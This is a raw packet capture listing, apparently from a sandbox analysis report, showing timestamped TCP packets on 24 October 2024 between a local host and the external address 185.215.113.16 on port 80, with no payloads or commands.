Oct 24, 2024 04:58:12.654078960 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.654108047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654138088 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654180050 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.654751062 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654781103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654824972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.654833078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654866934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654879093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.654901981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654907942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.654936075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.654958963 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.654983044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655164003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655194998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655246019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655297041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655345917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655352116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655388117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655405998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655442953 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655484915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655599117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655649900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655658007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655705929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655714035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655750036 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655781984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655783892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.655802965 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.655824900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.674020052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.696105003 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.696150064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.696183920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.696249962 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.701766968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.701798916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.701853991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.701858044 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.701910019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.701910019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.701956987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.701963902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.701997995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.702032089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.702050924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.702069044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.702083111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.702105999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.702127934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.702142000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.702151060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.702195883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.702439070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.702469110 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.702500105 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.702533960 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.716336012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716372967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716414928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716458082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.716468096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716504097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716536999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716550112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.716572046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716577053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.716605902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.716655016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732095957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732151031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732166052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732201099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732207060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732259035 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732259989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732292891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732310057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732327938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732350111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732361078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732377052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732397079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732412100 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732446909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732614994 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732647896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732678890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732701063 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732763052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732795000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732815981 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732830048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732846975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732867002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.732881069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.732917070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.733095884 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.733129978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.733156919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.733165979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.733181000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.733217001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.748081923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.748151064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.748207092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.748214006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.748245955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.748281002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.748302937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.748317957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.748352051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.748473883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.770895958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.770931959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.770975113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.770997047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.770997047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771029949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771029949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771071911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771110058 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771133900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771133900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771147013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771161079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771182060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771205902 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771217108 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771230936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771276951 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771826029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771857977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771887064 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771908998 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771913052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771955013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.771964073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.771990061 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772017002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772027016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772039890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772075891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772187948 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772243977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772275925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772294998 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772325993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772469997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772505999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772532940 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772541046 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772556067 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772577047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772597075 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772625923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772818089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772852898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772886992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772907019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772921085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.772933006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.772972107 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.813136101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.813175917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.813210011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.813222885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.813222885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.813302040 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.818957090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.818991899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819050074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819050074 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819101095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819106102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819142103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819175959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819202900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819225073 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819228888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819266081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819282055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819358110 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819519043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819554090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819583893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819588900 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.819606066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.819641113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.835532904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.835565090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.835613966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.835618019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.835654020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.835664034 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.835686922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.835721970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.835726023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.835757017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.836002111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.836042881 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.836059093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.836143970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849256992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849314928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849320889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849365950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849365950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849405050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849419117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849440098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849458933 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849473953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849499941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849519968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849545002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849598885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849622011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849632978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849648952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849684954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849730015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849802017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849834919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849855900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849869013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.849885941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.849920988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.850173950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.850209951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.850234985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.850245953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.850255966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.850295067 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.850373030 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.850408077 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.850423098 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.850444078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.850461006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.850491047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.867371082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867448092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867477894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867511988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867515087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.867547035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867569923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.867624044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867657900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867692947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.867703915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.867763996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888077974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888140917 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888176918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888200045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888200045 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888211966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888225079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888250113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888283968 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888299942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888375998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888394117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888430119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888444901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888484001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.888488054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.888540983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889062881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889098883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889132977 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889152050 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889168978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889173985 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889204025 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889219999 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889240980 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889260054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889297009 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889678955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889734983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889735937 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889786005 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889789104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889823914 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889839888 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889899969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889902115 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889935017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889957905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.889969110 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.889976978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.890005112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.890026093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.890042067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.890074968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.890100002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.890285015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.890340090 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.930351973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.930388927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.930423021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.930445910 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.930475950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936173916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936206102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936244011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936259985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936273098 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936299086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936321974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936332941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936366081 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936372042 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936414957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936414957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936563969 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936614037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936649084 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936667919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936681986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936705112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936717987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936765909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936765909 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.936928988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.936981916 CEST	80	49996	185.215.113.16	192.168.2.6
